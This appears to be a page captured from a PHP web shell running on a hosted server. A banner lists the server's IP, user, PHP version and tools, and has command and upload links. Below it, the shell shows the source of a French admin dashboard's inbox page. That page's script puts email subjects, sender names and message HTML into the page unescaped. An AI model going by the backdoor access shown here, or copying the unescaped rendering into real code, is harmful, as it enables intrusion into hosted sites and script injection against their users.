|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/logmcpe/www/TMCPRO/pages/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php session_start() ; ?>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!-- Enregistrer le titre de la page --><title> LogMCPRO | Accueil</title>
<!-- Tell the browser to be responsive to screen width -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Font Awesome -->
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<!-- Ionicons -->
<link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
<!-- overlayScrollbars -->
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
<!-- Google Font: Source Sans Pro -->
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
<style>
.modal-header {
padding: 15px;
border-bottom: 1px solid #e5e5e5;
}
.modal-header {
background: #226faa;
background: -webkit-gradient(linear,left top,right top,from(#226faa),color-stop(37%,#2989d8),to(#72c0d3));
background: linear-gradient(to right,#226faa 0,#2989d8 37%,#72c0d3 100%);
border-radius: 6px;
color: #fff;
padding: 18px;
border-bottom-left-radius: 0;
border-bottom-right-radius: 0;
border-color: transparent;
}
.modal-header .close {
margin-top: -3px;
font-size: 24px;
font-weight: 400;
color: #fff;
opacity: .9;
width: 28px;
height: 28px;
padding-bottom: 0;
padding-left: 1px;
}
button.close {
padding: 0;
cursor: pointer;
background: 0 0;
border: 0;
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
}
.task-single-col-right {
background: #f0f5f7;
padding: 13px 20px;
border-bottom-right-radius: 6px;
}
@media (min-width: 992px)
.col-md-4 {
width: 33.33333333%;
}
@media (min-width: 992px)
.col-md-1, .col-md-10, .col-md-11, .col-md-12, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9 {
float: left;
}
@media (min-width: 992px)
.col-md-1, .col-md-10, .col-md-11, .col-md-12, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9 {
float: left;
}
.col-lg-1, .col-lg-10, .col-lg-11, .col-lg-12, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-md-1, .col-md-10, .col-md-11, .col-md-12, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-sm-1, .col-sm-10, .col-sm-11, .col-sm-12, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-xs-1, .col-xs-10, .col-xs-11, .col-xs-12, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9 {
position: relative;
min-height: 1px;
padding-right: 15px;
padding-left: 15px;
}
.staff-profile-image-small {
height: 64px;
width: 64px;
border-radius: 50%;
}
img {
vertical-align: middle;
}
img {
border: 0;
}
.task-single-col-right {
background: #f0f5f7;
padding: 13px 20px;
border-bottom-right-radius: 6px;
}
.task-single-col-left {
padding: 25px;
background: #fff;
border-bottom-left-radius: 6px;
}
.btn-group-vertical>.btn-group:after, .btn-group-vertical>.btn-group:before, .btn-toolbar:after, .btn-toolbar:before, .clearfix:after, .clearfix:before, .container-fluid:after, .container-fluid:before, .container:after, .container:before, .dl-horizontal dd:after, .dl-horizontal dd:before, .form-horizontal .form-group:after, .form-horizontal .form-group:before, .modal-footer:after, .modal-footer:before, .modal-header:after, .modal-header:before, .nav:after, .nav:before, .navbar-collapse:after, .navbar-collapse:before, .navbar-header:after, .navbar-header:before, .navbar:after, .navbar:before, .pager:after, .pager:before, .panel-body:after, .panel-body:before, .row:after, .row:before {
display: table;
content: " ";
</style>
</head>
<body class="hold-transition sidebar-mini">
<!-- Site wrapper -->
<div class="wrapper">
<!-- TOP MENU -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<!-- Menu extensible -->
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
</li>
<!-- liens TOP MENU GAUCHE-->
</ul>
<!-- liens TOP MENU DROITE -->
<ul class="navbar-nav ml-auto">
<!-- Placer ici l'élément à positionner à droite du TOP MENU -->
</ul>
</nav> <!-- fin du TOP MENU -->
<!-- BARRE DE NAVIGATION -->
<!-- Couleur et caracteristiques de la barre de navigation-->
<?php include('menu.php'); ?>
<!-- Ne pas toucher au dessus / fin de la BARRE DE NAVIGATION-->
<!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<section class="content-header">
<div class="container-fluid">
<div class="row mb-2">
<div class="col-sm-6">
<h1>Inbox</h1>
</div>
<div class="col-sm-6">
<ol class="breadcrumb float-sm-right">
<li class="breadcrumb-item"><a href="#">Home</a></li>
<li class="breadcrumb-item active">Inbox</li>
</ol>
</div>
</div>
</div><!-- /.container-fluid -->
</section>
<!-- FIN DU TITRE DE LA PAGE PRINCIPALE A PLACE ENTRE LES BALISES H1 & ARBORESCENCE SUR LA DROITE-->
<!-- TACHES NON ATTRIBUEES ----------------------------------------------------------------------------------------------------------- -->
<section class="content">
<div class="row">
<!-- /.col -->
<div class="col-md-12">
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title">Inbox</h3>
<div class="card-tools">
<div class="input-group input-group-sm">
<input type="text" class="form-control" placeholder="Search Mail">
<div class="input-group-append">
<div class="btn btn-primary">
<i class="fas fa-search"></i>
</div>
</div>
</div>
</div>
<!-- /.card-tools -->
</div>
<!-- /.card-header -->
<div class="card-body p-0">
<div class="mailbox-controls">
<!-- Check all button -->
<button type="button" class="btn btn-default btn-sm checkbox-toggle"><i class="far fa-square"></i>
</button>
<div class="btn-group">
<button type="button" class="btn btn-default btn-sm"><i class="far fa-trash-alt"></i></button>
<button type="button" class="btn btn-default btn-sm"><i class="fas fa-reply"></i></button>
<button type="button" class="btn btn-default btn-sm"><i class="fas fa-share"></i></button>
</div>
<!-- /.btn-group -->
<button type="button" class="btn btn-default btn-sm"><i class="fas fa-sync-alt"></i></button>
<div class="float-right">
1-50/200
<div class="btn-group">
<button type="button" class="btn btn-default btn-sm"><i class="fas fa-chevron-left"></i></button>
<button type="button" class="btn btn-default btn-sm"><i class="fas fa-chevron-right"></i></button>
</div>
<!-- /.btn-group -->
</div>
<!-- /.float-right -->
</div>
<div class="table-responsive mailbox-messages">
<table id="myTable" class="table table-hover table-striped">
<thead>
<tr>
<th></th>
<th>Sujet</th>
<th>Nom</th>
<th>Email</th>
<th>Date</th>
</tr>
</thead>
<tbody id="inbox">
</tbody>
</table>
</div>
<!-- /.mail-box-messages -->
</div>
<!-- /.card-body -->
<div class="card-footer p-0">
<div class="mailbox-controls">
<!-- Check all button -->
<button type="button" class="btn btn-default btn-sm checkbox-toggle"><i class="far fa-square"></i>
</button>
<div class="btn-group">
<button type="button" class="btn btn-default btn-sm"><i class="far fa-trash-alt"></i></button>
<button type="button" class="btn btn-default btn-sm"><i class="fas fa-reply"></i></button>
<button type="button" class="btn btn-default btn-sm"><i class="fas fa-share"></i></button>
</div>
<!-- /.btn-group -->
<button type="button" class="btn btn-default btn-sm"><i class="fas fa-sync-alt"></i></button>
<div class="float-right">
1-50/200
<div class="btn-group">
<button type="button" class="btn btn-default btn-sm"><i class="fas fa-chevron-left"></i></button>
<button type="button" class="btn btn-default btn-sm"><i class="fas fa-chevron-right"></i></button>
</div>
<!-- /.btn-group -->
</div>
<!-- /.float-right -->
</div>
</div>
</div>
<!-- /.card -->
</div>
<!-- /.col -->
<!-- Modal message -->
<div id="addModal" class="modal fade" role="dialog">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header task-single-header" data-task-single-id="5" data-status="4">
<h4 class="modal-title"> Contenu du message </h4>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body" id="message">
</div>
</div>
</div>
</div>
</div>
<!-- /.row -->
</section>
<!-- /.MES TACHES------------------------------------------------------------------------------------------------------------- -->
</div>
<!-- NE PAS TOUCHER AU DESSUS DESSOUS -->
<!-- NE PAS TOUCHER AU DESSUS DESSOUS -->
<!-- Footer de la Card Principale -->
<div class="card-footer">
Footer
</div>
<!-- fin du Footer de la Card Principale -->
<!-- NE PAS TOUCHER EN DESSOUS -->
</div>
</section>
</div>
<!-- NE PAS TOUCHER AU DESSUS DESSOUS -->
<!-- DEBUT DU PIED DE PAGE -->
<footer class="main-footer">
<div class="float-right d-none d-sm-block">
<b>Version</b> 3.0.1
</div>
<strong>Copyright © 2019 MCPRO</strong>
</footer>
<!-- FIN DU PIED DE PAGE -->
<!-- NE PAS TOUCHER CI-DESSOUS -->
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->
<!-- jQuery -->
<script src="../../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- AdminLTE App -->
<script src="../../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../../dist/js/demo.js"></script>
<!-- dataTables
<script src="datatables.js"></script>
<script src="//cdn.datatables.net/1.10.15/js/jquery.dataTables.min.js"></script>
loading-overlay -->
<script src="js/jquery.dataTables.min.js"></script>
<script src="js/loadingoverlay.min.js"></script>
<script>
$(function() {
var json;
$.LoadingOverlay("show");
$.ajax({
type: "POST",
url: "json.php",
data: {
inbox: ""
},
dataType: 'json'
}).done(function(d) {
if(d.status === "success"){
var tbody = "";
json = d.data;
$.each(json, function(i, a) {
tbody += '<tr><td><a href="#" data-id="' + i + '" class="view" data-toggle="modal" data-target="#addModal">' + (i + 1) + '</a></td>';
tbody += '<td><b><a href="#" data-id="' + i + '" class="view" data-toggle="modal" data-target="#addModal">' + a.subject + '</a></b></td>';
tbody += '<td class="mailbox-name" ><b>' + (a.from.name === "" ? "[empty]" : a.from.name) + '</b></td>';
tbody += '<td class="mailbox-subject"><a href="mailto:' + a.from.address + '?subject=Re:' + a.subject + '">' + a.from.address + '</a></td>';
tbody += '<td class="mailbox-date" >' + a.date + '</td>';
});
$('#inbox').html(tbody);
$('#myTable').DataTable();
$.LoadingOverlay("hide");
}else{
alert(d.message);
}
});
$('body').on('click', '.view', function () {
// alert('OK');
var id = $(this).data('id');
$.ajax({
type: "POST",
url: "message.php",
data:'idp='+id,
dataType: 'json'
}).done(function(d) {
// json = d.message;
var message = d.message;
var attachments = d.attachments;
var attachment = '';
if(attachments.length > 0){
attachment += "<hr>Attachments:";
$.each(attachments, function(i, a) {
var file = json[id].uid + ',' + a.part + ',' + a.file + ',' + a.encoding;
attachment += '<br><a href="#" class="file" data-file="' + file + '">' + a.file + '</a>';
});
}
$('#message').html(message + attachment);
// if(d.status === "success"){
// var tbody = "";
// json = d.data;
// $.each(json, function(i, a) {
// tbody += '<tr><td>' + (i + 1) + '</td>';
// tbody += '<td><a href="#" data-id="' + i + '" class="view" data-toggle="modal" data-target="#addModal">' + a.subject.substring(0, 50) + '</a></td>';
// tbody += '<td class="mailbox-name" >' + (a.from.name === "" ? "[empty]" : a.from.name) + '</td>';
// tbody += '<td class="mailbox-subject"><a href="mailto:' + a.from.address + '?subject=Re:' + a.subject + '">' + a.from.address + '</a></td>';
// tbody += '<td class="mailbox-date" >' + a.date + '</td>';
// });
// $('#inbox').html(tbody);
// $('#myTable').DataTable();
// $.LoadingOverlay("hide");
// }else{
// alert(d.message);
// }
});
// $.ajax({
// type:'POST',
// dataType: 'json',
// url: 'message.php',
// data:'id='+id,
// success:function(data){
// $('#message').html(data);
// var message = json[id].message;
// }
// });
// alert(id);
// var message = json[id].message;
// var attachments = json[id].attachments;
// var attachment = '';
// if(attachments.length > 0){
// attachment += "<hr>Attachments:";
// $.each(attachments, function(i, a) {
// var file = json[id].uid + ',' + a.part + ',' + a.file + ',' + a.encoding;
// attachment += '<br><a href="#" class="file" data-file="' + file + '">' + a.file + '</a>';
// });
// }
// $('#message').html(message + attachment);
});
$('body').on('click', '.file', function () {
$.LoadingOverlay("show");
var file = $(this).data('file').split(",");
$.ajax({
type: "POST",
url: "json.php",
data: {
uid: file[0],
part: file[1],
file: file[2],
encoding: file[3]
},
dataType: 'json'
}).done(function(d) {
if(d.status === "success"){
$.LoadingOverlay("hide");
window.open(d.path, '_blank');
}else{
alert(d.message);
}
});
});
});
</script>
</body>
</html>